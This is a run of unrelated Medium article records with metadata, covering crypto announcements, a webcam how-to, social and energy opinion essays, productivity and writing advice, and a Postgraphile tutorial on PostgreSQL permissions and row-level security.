Certain statements on this webpage may constitute forward-looking statements. When used in this webpage, the words “may,” “will,” “should,” “project,” “anticipate,” “believe,” “estimate,” “intend,” “expect,” “continue,” and similar expressions or the negatives thereof are generally intended to identify forward-looking statements. Such forward-looking statements, including the intended actions and performance objectives of Votem Corp. involve known and unknown risks, uncertainties, and other important factors that could cause the actual results, performance, or achievements of Votem Corp. in its development of the network and the VAST tokens to differ materially from any future results, performance, or achievements expressed or implied by such forward-looking statements. No representation or warranty is made as to future performance or such forward-looking statements. All forward-looking statements on this webpage speak only as of the date hereof. Votem Corp. expressly disclaims any obligation or undertaking to disseminate any updates or revisions to any forward-looking statement contained herein to reflect any change in its expectation with regard thereto or any change in events, conditions, or circumstances on which any such statement is based.
You are not to construe this webpage as investment, legal, tax, regulatory, financial, accounting or other advice, and this webpage is not intended to provide the basis for any evaluation of an investment in an interest. | https://medium.com/votem/voting-for-a-mobile-future-a83916a49a | ['Pete Martin'] | 2017-11-28 16:13:46.563000+00:00 | ['Blockchain', 'ICO', 'Govtech', 'Elections', 'Cryptocurrency'] |
trust but verify | questions to think and act upon when developing reliable and safe medical devices and products | https://medium.com/@martymartens/trust-but-verify-a7a93b8dcc1c | [] | 2020-12-13 13:18:10.955000+00:00 | ['Risk Taking', 'Risk', 'Product Development', 'Decision Making'] |
Mclaren Racing And Tezos Become Partners To Bring NFT Fan Experience In A New Multi-Year Official Partnership | Mclaren Racing And Tezos Become Partners To Bring NFT Fan Experience In A New Multi-Year Official Partnership The Crypto Basic Follow Jun 17 · 2 min read
McLaren Racing and Tezos blockchain have entered into a new technical partnership. Together they will create an NFT platform that will explore the fan experience. Tezos was selected by McLaren for its energy-efficient proof-of-stake consensus protocol.
McLaren Racing has selected #Tezos to become the team’s Technical Partner in a new multi-year official partnership. @McLarenF1 will build a new #NFT fan experience on @tezos across F1, INDYCAR and e-sports. https://t.co/FZfRqGIAwX - Tezos (@tezos) June 17, 2021
McLaren Racing teams up with Tezos to create a new multi-year technical partnership between Formula 1, INDYCAR, and esports. Thus, Tezos has now become the official blockchain partner of McLaren Racing.
The racing brand specifically chose Tezos to represent its debut on the NFT blockchain, thanks to its energy-efficient network and updatable technology. Specifically, they intend to create a non-fungible token (NFT) platform while keeping the “fan experience” at its core.
Lindsey Eckhouse, Director of Licensing, e-commerce & esports at McLaren Racing, said:
Tezos and McLaren Racing uniting to create a unique fan-focused NFT platform is an innovative step in an exciting and rapidly developing industry. At McLaren, we are known for putting fans at the heart of everything we do, and this is another partnership which allows us to enter a space where fans can own key pieces of our team. We are looking forward to launching the platform with Tezos to create bespoke NFTs with our Formula 1, INDYCAR, and esports teams.
Ultimately, the partnership confirms that Tezos will represent the McLaren Formula 1 and Arrow McLaren SP teams. Likewise, McLaren will represent Tezos in all of their racing suits. In particular, these suits will be worn by the McLaren F1 drivers Lando Norris and Daniel Riccardo and also by AMSP drivers Pato O’Ward and Felix Rosenquist. | https://medium.com/the-capital/mclaren-racing-and-tezos-become-partners-to-bring-nft-fan-experience-in-a-new-multi-year-official-1b316f5e2dd0 | ['The Crypto Basic'] | 2021-06-18 02:22:45.497000+00:00 | ['Cryptocurrency News', 'Finance', 'Tezos', 'Cryptocurrency', 'Crypto'] |
How To Use Your Phone As A Webcam | How To Use Your Phone As A Webcam
To achieve a high quality picture for live streaming and video calls, at the fraction on the cost, I’m going to tell you how you can use your phone as a webcam. Izak Jackson Dec 22, 2021·4 min read
Most webcams, whether built into your device or bought separately, are of poor quality with poor exposure, white balance and autofocus. If you’re live streaming or on a video call, your cameras picture quality must be on point, something you can now achieve by using your phone.
Phones vs Traditional Webcams
When my webcam recently broke, I searched online for a new one and quickly realised how expensive stand-alone webcams were.
For a ‘decent’ webcam, I was looking at around £200, which is a lot of money to spend on something I felt didn’t give you a quality picture for the money.
This got me thinking.
The cameras on our smartphones are better than ever. I’ve used them myself on occasion when I’ve needed to capture DIY style videos on set.
So surely there’s an app that will allow you to use your camera phone as a webcam?
EpocCam
After some research, I found a brilliant piece of software called EpocCam.
EpocCam allows you to easily connect your iOS or iPadOS device to a PC or Mac using either a wifi connection or USB.
To get started, all you do is download the free software onto your PC or Mac and install the app onto your smartphone.
Within seconds of getting everything installed, EpocCam is ready to go, and your phone will start working as a webcam on your computer, integrating with other programmes like Zoom, Google Meet and OBS.
It will also allow you to use the front-facing or rear-facing camera, enabling you to have flexibility over video quality and focal length.
Mounting Your Phone to Your PC
Once you’re happy with the software and how it works, you need to mount your phone to your PC.
Traditionally, webcams are lightweight and sit on the top of your screen. However, a smartphone can be a lot heavier and have an awkward shape, so you will need a bespoke solution for mounting it properly.
You will be able to go online and buy specialist clips or mounts for your smartphone that can then attach to your PC, or you can create your own.
I used a combination of a Smallrig Phone Mount, Smallrig Ball Head, Smallrig Magic Arm and Smallrig Super Clamp. Once all the pieces were put together, I clamped the mount to my mounter stand.
Clamping to a monitor stand vs the screen will ensure more stability for your smartphone and will put less strain on the screen itself.
Try using this tripod with the phone clamp if you’re using a laptop.
The last step is setting up a power supply to ensure your phone doesn’t run out of juice during video calls or live streams.
I ordered an anchor lighting to USB cable that ran down the back of my PC into a plug socket on the wall. It was a cheap solution that did the job.
Not only will this charge my phone, but it’ll also ensure a more stable connection to the computer as opposed to the wifi option.
The More Cost-Effective Solution
Although using your phone as a webcam might seem like more work to set up initially, it’s a far more cost-effective solution than a traditional webcam.
To buy the phone mount and USB cable would cost you around the £50 mark.
If you want a higher quality picture and remove any watermarks that come with the free version of EpocCam, you can opt for the Pro Version, which only costs £7.99.
All in all, using your phone as a webcam will cost around £60–70, which is a lot cheaper than a £200 traditional webcam that is way overpriced for the quality you get.
DISCLAIMER: This isn’t a sponsored blog; I just highly rate the software and equipment mentioned. Some of these links have an affiliate code, and if you purchase through these links, I will receive a small commission at no additional cost to you. | https://medium.com/@izakjackson/how-to-use-your-phone-as-a-webcam-1331f4f26ca4 | ['Izak Jackson'] | 2021-12-22 11:00:04.206000+00:00 | ['Video Creation', 'Digital Marketing', 'Video Production', 'Content Marketing', 'Video Marketing'] |
Rayshard Brooks Told Us How To Fix The System: The Time to Listen Is Now. | Earlier this year I took a design course centered on entrepreneurship and innovation within healthcare. The course taught me many things, and chief among them was the need to conduct informational interviews with people to discover their needs. You can design an amazing product, but it does not matter if it does not meet the needs of the people who use it.
From the reading, listening, and learning I have done over the past month it is clear the current United States criminal justice system, including policing, prisons, and probation, has failed its constituents. Rather than listening to the needs of the people most adversely affected by this system, especially BIPOC communities, to find how to best help them, the United States criminal justice system has instead focused on how to best profit from these communities. The criminal justice system has done this by continuing the perpetuating cycle of poverty and imprisonment. The rise in the number of private prisons has financially incentivized an increase in prison populations to drive increases in profits. Therefore, the United States has put forth a poor system and rather than helping people this system further worsens the needs of these already vulnerable communities by tearing away humans from these communities.
Listening to Rayshard Brooks’ interview illustrated the many ways the criminal justice system is currently failing those affected by the system. Rayshard details how he was a full-time carpenter, but often found it mentally draining to have to fill out the prior criminal convictions portion of job applications. Throughout the interview Rayshard mentions how he wishes he had a mentor and how he feels there is a missed opportunity in not having the probation officer function as more of a mentor in applying for jobs and getting his life back on track following being released from prison. He also talks about how he became hardened as an individual by the process of returning to society. He feels the criminal justice system is built to allow success for only those with resources and money. It is clear we need more support for folks as they transition from prison back to society.
Often when it comes time to make changes in society we look towards our politicians to make the necessary changes, and this functions when the constituents most affected by policies are allowed to voice their opinions through the voting process. One huge issue I see with this process is that in denying voting rights to those convicted of crimes we are allowing others to decide the policies for these individuals when many have no personal experience with the criminal justice system. Maine and Vermont are two states who never take away voting rights from individuals regardless of their criminal record and I believe every state in the nation should follow this precedent.
The development of policy regarding those who have been affected by the criminal justice system should be done in consultation with those directly affected by the criminal justice system rather than excluding them from the decision-making process. Take the example of Rayshard Brooks. He is a gentleman who knew the system was stacked against him and still managed to persist through all obstacles until the criminal justice system took his life away from him. In losing Rayshard Brooks we lost not only a human life, but a person with intimate knowledge of the system who could have provided valuable insight to others about how to change the system to empower others.
We need to refocus our efforts in the criminal justice system to design a system that empowers individuals from BIPOC communities, instead of stripping them of their rights and hope they land on their feet once they exit the prison system. In pursuit of racial justice every system created by the government needs to achieve equity in this country. We cannot get to that point without our government conducting informational interviews with those most affected by policies to determine rather than conducting fundraisers with donors who directly profit from the imprisonment of our citizens. We are all Rayshard Brooks in that we have all needed help at some point in our lives. It is high time we listened to the needs of those who need our help the most in our fight towards achieving racial justice. | https://medium.com/@nathan.a.coss/rayshard-brooks-told-us-how-to-fix-the-system-the-time-to-listen-is-now-a1b9c91c1040 | ['Nathan Coss'] | 2020-06-19 02:37:53.705000+00:00 | ['Equity', 'Social Justice', 'Social Change', 'BlackLivesMatter', 'Criminal Justice Reform'] |
The Epic Movement in Map Industry — an announcement of GoWithMi’s “365 AI Master Node Program” | The boom of Staking is a ground proof of the fact that projects that deliver real revenue to users will become hot at a time when the market for cryptocurrency is generally weak and blockchain news are no longer clattering in the news.
GoWithMi, a company that makes driverless high-precision maps using “blockchain+AI” technology, has been positioned since its inception as a company that can bring change to society. After the development, design, and presentation the world’s first “Blockchain AI Space Miner” was successfully brought up by GoWithMi.
The birth of the first “Blockchain AI Space Miner” marks a small success of their long march, and also the beginning of the entire map industry revolution. “Blockchain AI Space Miner” is a necessary physical prerequisite for GoWithMi high-precision map data acquisition, but the whole system needs the global community to work together. So we can officially launch the “AI Masternode 365 Program”, the global limited invitation of 365 Masternode, the global largest spatial information network with global users, the first 45 Masternode will be open on September 2019.
AI Space Miner Presentation
As a GoWithMi’s Master Node, you’ll be one of the architects of GoWithMi’s Mapping Ecosystem, using the map industry’s revolutionary product, experiencing the joys of global collaborative map data collection while sharing the fruits of this great product with GoWithMi. A Masternode shall be selected according to its own conditions for participation, and the specific conditions are as follows:
Galaxy Masternodes
Tokens required: 5 million GMATs (before October 15, 2019)
Registration cost: 10,000 GMAT
Lock-up period: 12 months
If the tokens required was not reached until October 15, 2019, the participants will be disqualified.
Become a Galaxy Masternode and enjoy the various benefits of the GoWithMi Mapping Ecosystem.
Galaxy Masternode Rewards
AI Node Rewards: Galaxy Masternode are permanently entitled to 10% of their AI node earnings as rewards, it will be added on the 1st,11th and 21st of each month.
Example: Suppose you become a Galaxy Masternode. You will have 500 AI nodes under your name. Each AI node has a mining rewards of 100 GMATs on that day. Then you have an AI node: 100×10%=10GMAT; 500 AI nodes rewards will be: 10 × 500 = 5000 GMAT.
Foundation Reward: On the first year launch of the Galaxy Masternode, the Foundation will reward an additional of 2x of the AI node commission, and will add a Foundation rewards as a weekly settlement.
Example: Assuming that the Galaxy Masternodes receive a total of 5000 GMAT of AI node rewards in the first year, the foundation will give an additional incentive of 5000×2 =10000 GMAT.
Gap period coverage: When the Galaxy Masternodes completes the required amount of 5 Million GMAT but the Foundation has not yet started mining, the foundation gives an annual 24% incentive to subsidize until the AI mining starts. Reward T+7 Days Equivalent to the launch of Mining launch date.
Galaxy Masternode Privilege
Each Galaxy Masternode may invite or refer 500 AI node miners, they must be invited by Galaxy Masternode to join GMAT Spatial Data Mining business.
The Galaxy Masternode can enjoy the GMAT AI probe device at the dealer’s price with free margin.
Participation takes priority over the next subsequent Masternode Programs, and enjoy the follow-up Masternode 60% discount participation privileges.
How to quit
After one year, you may apply for withdrawal, and the proceeds shall immediately cease upon application. The pledged GMAT will be released in T+25 days, that is,200,000 GMAT was unlocked every day and 5m GMAT was unlocked in 25 days. After exiting, you will no longer enjoy the 60% discount privilege to participate in the next Masternode Programs.
Solar system Masternode
Tokens required: 5 million GMATs (before September 30, 2019)
Needed to canvass: 3 million GMATs (before October 15, 2019)
Registration cost: 10,000 GMAT
Lock-up period: 12 months
If the tokens required was not reached until October 15, 2019, the participants will be disqualified.
Become a Solar system Masternode and enjoy the various benefits of the GoWithMi ecosystem.
Solar system Masternode Rewards
The reward of the Solar system Masternodee is the same as that of the Galaxy Masternode, and the specific income distribution is distributed according to the proportion of the number of participants that contributed GMAT.
Solar system Masternode Privilege
Each Solar system Masternode may recruit 500 AI node miners, they must be invited by Solar system Masternode to join GMAT Spatial Data Mining business.
The Solar system Masternode can enjoy the GMAT AI probe device at the dealer’s price with free margin.
How to quit
Same as the Galaxy Masternode.
Masternode Equity Comparison
AI Node
Tokens required: 30,000 GMAT (10,000 GMAT required for early birds before October 31)
Open consumption: 100 GMAT (the first 10,000 AI nodes will go to the Foundation)
Open the threshold: Will get 1 AI probe device
AI probe devices can be purchased through a dealer or official mall, at $80 per device, for a period of one year, and each AI probe device is equivalent to a virtual miner.
AI Node rewards
Mining rewards: fixed income + dynamic income (fixed income in the first year is 40 GMAT/day, will decrease annually)
Dynamic income: That days’ worth × 5GMAT
Example 3: The exploration value of the day is 20, and the mining income of each AI node on that day is: 40+20×5=140 GMAT
Description of the AI probe devices
Exploration value: = Total amount of valid data collected by all devices/Number of AI probe devices
The exploration value indicates the mining ability of the AI exploration probes. The quantity of each exploration value in the first year is 5 GMAT. The larger the exploration value, the more the mining income.
Example 4: The total amount of valid data for the day’s collection is 20,000 and the number of AI probes is 1000. The value of each AI exploration is 20.
How to quit
The AI node can apply for withdrawal at any time, the income immediately stops when the application is submitted, and the pledge GMAT is unlocked once in T+2 days. Those who have exited less than one year can independently trade their AI probe in the GoWithMi trading market.
AI fission reward multiplier
10% in USDT of AI probe sales proceeds as a fission reward pool. For every 500 AI nodes, an “AI probe” will be created, and a total of 45 AI probes will be allocated to Participants.
See more details: http://www.gmat.world Wechat: gwm_6688
For questions please message us in our Social Links below:
✅Telegram: https://t.me/gowithmi_en
✅Announcement Channel: @GoWithMi_News
✅Twitter: https://twitter.com/GoWithMi_GL
✅Facebook: https://www.facebook.com/gowithmi.fans
✅WeChat: gwm_6688 | https://medium.com/@gowithmigl/the-epic-movement-in-map-industry-an-announcement-of-gowithmis-365-ai-master-node-program-44b34ad3fd68 | ['Gowithmi Gl'] | 2019-09-02 09:57:35.462000+00:00 | ['Binance', 'Blockchain', 'Maps', 'Bitcoin', 'Cryptocurrency'] |
Nuclear Power will become the No.1 Energy Source | In recent years, global warming has been a hot issue around the world. It is commonly known that the sea levels are rising a few centimeters a year and the earth’s temperature is rising due to greenhouse gases. Many people know that the solution to global warming is reducing use of fossil fuels and developing other methods of obtaining energy. Some people say Solar and Wind energies are the future while some say Hydrogen fuel, Nuclear power or Biological Fuels. This is where many people are perceived incorrectly. Many people assume solar power wil be the best future energy source. But this is not true. Actually, the most effective source of energy in the future will be Nuclear power.
First, Nuclear power has the edge over every other energy source in consistency. Solar and Wind energies depend heavily on daily weather which makes the energy production vary from time to time. On the other hand, Nuclear power can produce energy at any time since Nuclear Energy only depends on the existence of Nuclear fuel which they can refuel only once every few years.
Another reason is because Nuclear energy produces less pollution than other sources of energy. According to recent data, France had half as much carbon emissions than Germany last year when France got 75% of their total energy from Nuclear power while Germany used no Nuclear power and increased Solar and Wind energies. Also, many people do not consider the toxic elements used to create the solar panels and wind turbines. Although the process of creating the energy might be clean in solar panels, it is not true for the production of the solar panels. On the other hand, Nuclear power plants can be built once and can be used for many years.
Some people argue that Nuclear power creates nuclear waste that is harmful to the environment but consider the following statement. Nuclear power is the only energy that contains its toxic waste away from the rest of the world. Fossil fuels have caused toxic gases to be released into the atmosphere and wastes from Solar and Wind energies are also released into the environment causing much harm and damage to the environment around them. For people who think Nuclear power is unsafe, we experience radioactive rays everyday as we stay on earth. Also, the worst Nuclear accident, the Chernobyl disaster, caused less than 30 deaths due to extreme radiation. On top of that, recent Nuclear power plants have way more sophisticated and organized safety measures which ensures that such accidents like Chernobyl won’t happen in the future. | https://medium.com/@jhlee03555/nuclear-power-will-become-the-no-1-energy-source-ec9227d3347 | ['Jaden Lee'] | 2020-12-01 05:14:28.679000+00:00 | ['Nuclear Energy', 'Energy', 'Global Warming', 'Renewable Energy'] |
Episode 13: Decentralized Web Browsing, with Blockstack | On this episode of BlockChannel, Steven McKie and Corey Petty interview Ryan Shea, Co-Founder of Blockstack. Blockstack is a decentralized web browsing experience brought to you by the power of blockchain technology. Ryan and his other Co-Founder, Muneeb Ali, both share a vision of a decentralized web; one where individuals control the data that encapsulates their private identities. Learn how they plan to create this system with Blockstack, and how they grew to begin this great venture.
Show Links:
Blockstack: blockstack.org
Blockstack Slack: chat.blockstack.org/
Ethereum Name Service (ENS): ens.readthedocs.io/en/latest/introduction.html
Intro/Outro Music by Umai: Thebaygerian — 002-chief-umeh-x-typicalshit
Show Sponsor(s):
Cryptodex: cryptodex.io | https://medium.com/blockchannel/episode-13-decentralized-web-browsing-with-blockstack-9a58fd614de | [] | 2017-03-06 19:00:56.218000+00:00 | ['Bitcoin', 'Browsers', 'Blockchanneltv', 'Blockstack', 'Cryptocurrency'] |
7 Things You Need To Do To Have Consistently Incredible Evenings | 1 || Put your phone to bed early in the evening
We’ve all heard of the psychological effects of using screens before bed, but they’re usually focused on eye strain and blue light — not about how damaging it can be to be followed around by a pestering technological device 24/7. While most studies point to the time spent on technology as irrelevant, it’s important to note how much time you spend thinking about things related to technology.
In the evenings, how often do you spend time thinking about that work project you have due tomorrow, that assignment you need to wrap up, that text you’re expecting, or the emails you have to check? When you’re thinking about those things as much as you do, you might as well go ahead and check your email, finish that assignment, start your workday, or send a text yourself.
“But with no iPhone to keep my mind wired, I was able to tune into my body and fall asleep according to its needs. Every single night of the experiment, I conked out within 10 minutes of getting in bed. And I didn’t make the connection at the time, but my stories were all written well before their deadlines that week.” — Amanda Montell, “The Benefits of Having an iPhone-Free Bedroom”
plugging in your phone/laptop in another room
2 || Don’t start projects too late
Put work away and don’t start something you know you won’t be able to finish. One thing I’ve found having more regular hours for my job as of late is how detrimental it can be to my evenings to haphazardly start work — especially harder projects that aren’t as urgent as I make them out to be. If there’s something big you need to get done, don’t forget to check and see if it could be done later in the week, before work one day, or earlier in the afternoon.
“If you do nothing else, plan each day of your life with intention, purpose, and passion.”― Jeff Sanders
One trick I’ve found useful, one that’s used by the likes of Jeff Sanders, podcaster behind The 5 am Miracle show, is an end time to the work day. Basically, barring an unprecedented event, at a certain amount of time — you stop working. Whether that’s 6 pm or 4 pm, you don’t do work at that point.
You can also change how you define that. Maybe work for your real job isn’t allowed after 4 pm, and you only allow yourself to write your novel or your blog. However, you want to define that, stick to your plan. You may be thinking, though, “I won’t have time for my work” or “I’ll never finish my projects.”
“Regret for the things we did can be tempered by time; it is regret for the things we did not do that is inconsolable.” — Sydney J. Harris, journalist
While that might be the case and you might need to allow more time to get work done, setting a boundary will actually allow you to work more efficiently in the time you’ve allotted for it. Whatever you do, don’t start new work too late in the day. Aim to start early, finish early, and have time to do what you need to do to relax and settle down in the evenings.
3 || Respect a boundary between work and play
One really hard thing, closely tied to projects started too late, is maintaining a healthy boundary between work and play. I have vivid memories of growing up, watching TV with my family, and all of us being on devices, doing work, school, or a personal project that would have been much more enjoyed and efficiently completed without a distracting show in the background.
“W ork refers to the effort someone makes that has value to the person or society or a sustained physical or mental effort to overcome obstacles and achieve and objective or result. Play can be described as any activity someone finds enjoyable and interesting and is valuable in itself for that reason.” — Montessori Child Development Center
Not everything you do needs to be a side hustle. Some things can be done just for fun. One thing that really changed my life for the better towards the end of high school and on into college was the realization that I could write and not worry about doing it for the money.
While I write a blog here as part of my work and am paid for other writing projects, I write fiction for fun — and freeing myself of the hustling aspect has helped me to enjoy myself so much more. It’s also allowed my evening writing time to be spent much more restfully.
4 || Look over/create your plan for the next day
Many people point to the issue of willpower that can become a problem in the morning. If you happen to wake up tired and groggier than usual, having a preset plan to rely on can really save the day. And while you can save some of the planning for the morning of, assessing your current mood and anything that’s come up/come to your mind during your sleep, you can already have a list of things to do, or a calendar with your pre-arranged commitments filled in.
“If you don’t know where you are going, you’ll end up someplace else.”― Yogi Berra
Also, if you happen to wake up a little out of it or otherwise unprepared for the day, you have a plan that you can rely on to get you started — something you’ve thought about beforehand that you can launch into as soon as you wake up. Even if you prefer to plan in the morning, you can at least already have an idea of what your day is going to look like, and leave it to your sleeping self to think of where all the pieces should go.
5 || Enjoy yourself
I know, I know —maybe it’s obvious, but in a world that’s so focused on extreme productivity, going to bed early, and setting yourself apart, it’s difficult to remember that we are designed to relax, reset, and recharge in ways that differ depending on our personality.
Whatever your relaxer of choice is, make sure you make time for it in your evening. That will do you a lot more good than spending an unfocused hour on work or being distracted by email while trying to play with your kids.
“While accomplishing your dreams, don’t forget to enjoy life too.” — Unknown
Whether relaxing is watching a film once a week with your wife, playing a game with your kids before bed, reading a novel, watching a comedy sketch, or talking to an old friend on the phone, find something that fills your soul of and gives you the opposite of stress in your life. It’s worth making time for.
6 || Be realistic with what you can make happen
Let’s be rea,l if you get home from your day job or other vocation-related commitment at 5 pm, and you aim to go to bed at 9 pm every evening, you only have four hours. That’s one hour for dinner, one hour for your spouse, one hour for reading and relaxing and getting ready for bed, and one hour for something else.
“You can do anything, but not everything.” — David Allen
You can’t realistically spend four hours rigorously writing your novel with that kind of schedule. If you can, try and give yourself thirty minutes and really focus on it. That will probably yield much better results and be a much more regular occurrence in your schedule because it fits fairly easily in the time you have.
Some things you’re going to have to reserve for the morning, others for the weekend, and more until you maybe have fewer hours or are on a break/vacation of some sort. Being realistic isn’t always fun, but it’ll yield the best results, give you the least amount of steps, and give you realistic increments of time to do what you need to do.
7 || Reset for the next day
This involves more than just planning for tomorrow. This can be laying out your clothes for the next day, prepping your gym bag so you’ll face less resistance to working out the following day, doing your laundry, cleaning the kitchen, whatever you need to do to create a fresh start for the next day.
[Read: 7 Things You Need To Do To Have Consistently Incredible Mornings]
Whatever you need to do to make tomorrow amazing, make sure you squeeze that into your morning routine. Some go as far as to get a light dimmer for their light switches that will turn on lights in the morning, an Alexa with a routine set to wake you up, or some other system that will alert you to the time and encourage you to start the day.
While in the end, tomorrow lies in the hands of tomorrow, there’s no reason you can’t start preparing for it the day before.
Have a great evening! | https://medium.com/live-your-life-on-purpose/7-things-you-need-to-do-to-have-consistently-incredible-evenings-4774e8dedaab | ['Katie E. Lawrence'] | 2020-12-22 03:02:13.073000+00:00 | ['Health', 'Life', 'Technology', 'Self Improvement', 'Productivity'] |
Finale vs Climax | Introduction
Climax.
If you’ve read any books on writing, regardless of the industry (Screenwriting, Novel Writing, Short Story Writing, etc.), then you’ve heard this term.
Climax.
We all know what it means:
The Final Battle
The Last Stand
But the problem with this beat is our misunderstanding of what it means.
The Climax is an extended beat, not a Sequence.
This is the most important point that must be emphasized.
The Climax is an extended beat, not a Sequence.
It’s PART of a Sequence.
How Tradition works
Because of a Patriarchal enslavement of society, the term Climax has dominated much of our literature.
But that’s okay, we’re moving past that trash right now.
This is a subjective term, if you don’t like it, use another one.
Remember, the words you use to describe your Story Blocks and your Story Design will affect your psyche.
Does Climax work for you?
Climax
Climax.
The Apex.
This is what your story has been building up to.
Blah, Blah, Blah.
Let’s get it right and state it simply.
The Climax is the Final Battle between Protagonist and Antagonist, that’s it.
Make sense?
Why Climax is weak
This is weak because it forces you to build your story to this SCENE instead of focusing on the SEQUENCE.
When you write your stories using Sequences, it provides a deeper balance and an incredible rhythm, a soothing melody for your Story Design.
By focusing only on Climax, you take yourself from using Sequences and writing for Scenes.
Counter Argument
But the problem is that in your Story Design MB, you show the purpose of organization is writing scenes, isn’t that right?
This is true, but you do not initially work on scenes, you work on sequences.
By putting scenes in sequences, you understand where everything goes.
When you write your stories focusing on the Climax, you skip the sequences and as a result, you may get lost….
I always ask, is it worth the risk of making your story malnutritious?
Finale
Now, we’re getting to the good stuff.
The Finale.
Stretch out your arms and release, you’re in the right place.
Now, when we look at Climax in its Sequence, we now understand its purpose and its place.
Think about this, by shuffling around the Climax with the other scenes in the Finale, you may even find a better way of Story Design.
Why Finale works
This benefit alone is worth using the Finale Approach instead of writing for the Climax.
And guess what, it’s just like Life.
The one person you thought you loved (Climax), what if you discover that another scene is your soulmate?
Don’t run from this, deal with it.
You’ve written yourself and boxed yourself in to the Climax and now you realize, it’s not the right scene!
Don’t you hate it when that happens?
Conclusion
It’s not hard, just more efficient.
Instead of writing for a Scene, write for a Sequence.
Finale.
Use it and watch your Story Design get sexier! | https://medium.com/@miquielbanks/finale-vs-climax-99a28fd6a28d | ['Miquiel Banks'] | 2020-12-09 11:32:17.083000+00:00 | ['Climax', 'Novel Writing', 'Screenwriting', 'Finale', 'Miquiel Banks'] |
CEOs Do Not Read a Book a Week | CEOs Do Not Read a Book a Week
Hucksters love using this number to sell… videos
The average CEO does not read a book a week. There are no studies on this, just a bunch of YouTube hucksters in a circle jerk. There are, however, studies on mere mortals.
The average American reads 12 books a year. The highest income earners ($75,000+) read 15. It’s not a huge difference. I have been and met CEOs and they’re not smarter than anyone else. As Michelle Obama said:
“I have been at probably every powerful table that you can think of, I have worked at nonprofits, I have been at foundations, I have worked in corporations, served on corporate boards, I have been at G-summits, I have sat in at the U.N.: They are not that smart.” (Newsweek)
The lie of late capitalism is that it’s a meritocracy and that people are on top because they’re somehow better. Education is supposed to be one way to differentiate that, but when western educations cost upwards of $100,000 now, it’s becoming another class shibboleth.
That said, reading is wonderful. I read a lot of books and it deepens my thinking whereas reading the news and Internet stuff mainly makes me angry. Reading is a wonderful habit, but making a capitalist dick-measuring contest out of it isn’t.
It also just doesn’t make sense, if you’ve done any reading.
Averages
A book a week is 52 books a year. Bill Gates says he reads 50, so slightly below average. By this measure, half of the CEOs are reading more than a book a week. There have to be some CEOs reading three or four books a week for the numbers to work, especially since 27% of the general population reads zero. Does Bill Gates being an average CEO even make sense?
CEOs
Another inconvenient fact is that Bill Gates isn’t a CEO. He’s a Chairman of a foundation to dispense of his untaxed money in self-indulgent ways. He has time to read. But let’s say that a CEO just means a rich person with power.
How would you conduct that study? I’ve been a CEO, but of a tiny company. Would you count me but not Sheryl Sandberg (a mere COO)? Does this make any sense? What the hucksters are trying to say is that reading will make you rich, but then we have data on wealth. As mentioned, people earning more than $75,000 read an average of 15 books per year. This is a researched number, and it’s not 52.
Does this even help?
The fact is that there are real differences in income and reading. Someone earning $30k reads 7 books a year compared to 15 for the wealthy. The difference is even bigger based on education, people with a high school diploma read 7 compared to 17 for higher graduates. But then you have to ask another question.
Did people get rich because they read books, or do they read books because they’re rich? I sometimes spend $100 a month on books. This is 20% of the average monthly income where I live.
One of the first things they tell you in a statistics book is that correlation is not causation. There is a strong correlation between wealth and reading, but it’s not at all clear that one causes the other. Rich people drive Ferraris more than poor people, is that how you get rich?
What are they selling?
The real question is what are people selling with this statistic. Blinkist uses it to sell 15-minute summaries of books. Tai Lopez also uses it to sell videos. People use this made-up metric to sell everything but books. That’s what I love, nobody quoting this number is actually selling you a book. They’re like, “CEOs read a lot of books! Watch this video!”
Forget books, these hucksters don’t even Google. Take Jim Kwik, who is both making up a number and being wrong about a known one.
“Do you know how many books the average person reads per year?” he said. “Literally two or three, for the entire year. And yet, the average CEO is reading four or five books per month. That’s a drastic difference.” (Jim Kwik)
The average person reads 12 books, Jim. The median is 4, which does tell you something (many people read zero), but that’s not what you’re saying. Hucksters like Jim Kwik are using this little lie to perpetuate an even bigger one.
That lie is that the rich have a ‘secret’ and they’re the ones to tell you. Just sign up for this online course, or send them money. This stat is also used to perpetuate the lie that the rich are somehow harder working and better than everyone else and that we do not need to do anything to reduce inequality, except spending money to improve our wretched selves. It feeds into the idea that inequality is the fault of the poor, and the virtue of the wealthy. This isn’t just incorrect. This lie keeps people down.
Why books are important
Books are important because they can lift people up. Having books at home changed my life. Mrs. Carol Stewart, Mrs. Conroy, Mrs. Simmons, and the Upper Arlington Public Library changed my life. I can still walk through most of the shelves in my mind. Do you know why I had those opportunities? Because my parents had money. Because they lived in a rented house in a rich school district so I could go there.
That’s causation, I didn’t just suddenly decide as an adult to read a lot because I’m better than everyone else. That’s the ladder that we need to extend downwards, not paid videos from people that can’t Google. We don’t need paid access to video libraries. We need public libraries.
Books are not important because CEOs and rich people read them. They’re important because they open so many more doors than that. Yes, you can read and be a CEO, but you can also become a poet, or a scientist, or a better lover, or cook, or just a more interesting human being. You can be a man or a woman or a robot or anyone or anything you want. Once I read an entire shelf of baseball biographies. I was never going to play baseball, but it just took me to another world.
Books are so much more than a way to sell snake oil. They are medicine. So, by all means, read a book. Donate a book to your local library. And overthrow the capitalist bullshit that tells you books are important, so buy this video. Read a book, learn some empathy and don’t just improve yourself. Help each other. That’s how books can change hearts, and that’s how they can change the world. | https://indica.medium.com/ceos-do-not-read-a-book-a-week-4601336608cf | ['Indi Samarajiva'] | 2019-12-09 13:31:04.296000+00:00 | ['Business', 'Self Improvement', 'Education', 'Reading', 'Books'] |
Postgraphile — GraphQL API & PostgreSQL | Permissions and Security 🔐
Time to start securing our data, first of all let’s give some permissions to the anonymous and the blog_user roles.
GRANT SELECT ON posts TO anonymous;
GRANT SELECT(id) ON users TO anonymous;
GRANT SELECT(name) ON users TO anonymous; GRANT SELECT, INSERT, UPDATE, DELETE ON posts TO blog_user;
GRANT USAGE, SELECT ON SEQUENCE posts_id_seq TO blog_user;
GRANT SELECT(id) ON users TO blog_user;
GRANT SELECT(name) ON users TO blog_user;
If we test to query again the posts as a guest user with
query {
allPosts {
nodes {
id
userByAuthorId {
name
}
title
content
published
}
}
}
We are able to retrieve the posts again 🎉
But, we need to reach our approach and guaranty that the guest users only can view the “published” posts. We need to restrict the access to those published and own posts. So, we need to make sure users can only be able to modify their own posts.
Which means it’s time to enable the “row level security” of PostgreSQL, but first let’s create this function called “current_user_id”. This function just returns null if no user id is given and otherwise returns the id of the user.
CREATE FUNCTION current_user_id() RETURNS INTEGER AS $$
SELECT NULLIF(current_setting('jwt.claims.user_id', TRUE), '')::INTEGER;
$$ LANGUAGE SQL STABLE; GRANT EXECUTE ON FUNCTION current_user_id() TO anonymous;
GRANT EXECUTE ON FUNCTION current_user_id() TO blog_user;
Now we will enable the “row level security” on the table posts
